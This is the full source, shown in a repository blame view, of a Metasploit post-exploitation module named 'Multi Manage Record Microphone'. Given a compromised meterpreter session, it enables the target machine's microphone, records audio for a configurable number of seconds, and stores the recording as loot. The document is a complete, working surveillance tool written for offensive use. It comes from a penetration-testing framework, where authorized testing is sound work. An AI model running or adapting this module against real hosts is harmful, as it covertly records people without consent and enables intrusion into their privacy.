Files
metasploit-gs/modules/post/multi/manage/record_mic.rb
T

80 lines
1.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-08-30 16:28:54 -05:00
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Manage Record Microphone',
'Description' => %q{
This module will enable and record your target's microphone.
For non-Windows targets, please use Java meterpreter to be
able to use this feature.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => %w{ linux osx win },
2013-08-30 16:28:54 -05:00
'SessionTypes' => [ 'meterpreter' ]
))
2013-08-30 16:28:54 -05:00
register_options(
[
OptInt.new('DURATION', [false, 'Number of seconds to record', 5])
])
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def rhost
client.sock.peerhost
end
2013-08-30 16:28:54 -05:00
def progress
duration = datastore['DURATION']
m = duration / 10
m = 1 if m == 0
2013-01-21 00:30:43 -06:00
2013-08-30 16:28:54 -05:00
duration.times do |i|
if i % m == 0
p = ((Float((i == 0) ? 1 : i+1) / duration) * 100).round
print_status("#{rhost} - #{p.to_s}%...")
end
select(nil, nil, nil, 1)
end
end
2013-08-30 16:28:54 -05:00
def run
if client.nil?
print_error("Invalid session ID selected. Make sure the host isn't dead.")
return
end
2013-08-30 16:28:54 -05:00
data = nil
2013-08-30 16:28:54 -05:00
begin
t = framework.threads.spawn("prog", false) { progress }
data = client.webcam.record_mic(datastore['DURATION'])
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.message)
return
ensure
t.kill
end
2013-08-30 16:28:54 -05:00
if data
print_status("#{rhost} - Audio size: (#{data.length.to_s} bytes)")
p = store_loot(
"#{rhost}.audio",
'application/octet-stream',
rhost,
data,
"#{rhost}_audio.wav",
"#{rhost} Audio Recording"
)
2013-08-30 16:28:54 -05:00
print_good("#{rhost} - Audio recording saved: #{p}")
end
end
2014-06-17 21:03:18 +02:00
end